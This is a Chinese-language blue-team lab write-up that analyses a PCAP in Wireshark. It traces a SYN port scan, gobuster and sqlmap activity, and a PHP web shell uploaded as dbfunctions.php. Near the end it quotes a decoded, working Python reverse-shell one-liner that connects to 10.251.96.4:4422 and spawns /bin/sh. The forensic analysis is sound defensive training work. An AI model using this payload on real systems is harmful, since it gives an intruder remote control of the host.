SOC在其 SIEM 中收到“本地到本地端口扫描”警报,其中内部私有 IP 开始扫描另一个内部系统。您能否调查并确定此活动是否是恶意的?您已经获得了 PCAP,可以使用您希望使用的任何工具进行调查。
https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b
开始网络分析了解哪些主机在数据包捕获中进行通信,打开wireshark选择【统计】--【会话】,查看TCP会话状态。
我们正在寻找端口扫描活动,这意味着一个 IP 地址扫描另一个 IP 地址上的所有端口,在TCP会话中选择对目标端口Port B进行排序,发现源IP地址10.251.96.4进行扫描。
针对目的端口进行排序,发现端口范围为1-1024
针对攻击源IP10.251.96.4进行过滤,过滤方法:ip.src == 10.251.96.4,看到大量SYN数据包发送到每个端口10.251.96.5。这告诉我们进行了TCP SYN扫描。
要获得第一个侦察工具,我们可以查看User-Agent,通过过滤器ip.dst == 10.251.96.5 && http.user_agent查看过滤内容,通过GET请求查看User-Agent为gobuster 3.0.1
继续基于User-Agent判断,并通过过滤器ip.dst == 10.251.96.5 && http.user_agent && http.request.method == POST
,查看比较长的一段内容,看到User-Agent为sqlmap 1.4.7
当有人向网页发送信息时通过HTTP POST请求,过滤http.request.method==POST
查找相关信息。通过upload.php页面上传2个文件,一个是PNG图片,一个是PHP文件。
查看Referer字段中内容,发现有http://10.251.96.5/editprofile.php
信息
基于该POST上传,追踪HTTP流,分析原始HTTP请求信息
发现上传文件名称为:dbfunctions.php
查看上传文件的内容信息中为PHP代码,执行的命令参数为cmd
根据获取到的webshell内容信息,基于GET请求作为过滤条件进行查询,过滤条件ip.dst == 10.251.96.5 && http.request.method == GET
,查看请求执行内容为cmd=id
在流量中还看到了一个通过 GET 方法发送的 python 代码
查看详情信息,并通过URL解码发现脚本使用"socket"模块,该脚本连接到服务器并提供"/bin/sh"外壳。这种连接到远程服务器的方法用于启动反向 shell
/uploads/dbfunctions.php?cmd=python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.251.96.4",4422));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
基于解码后的内容查看,反弹shell连接的端口为4422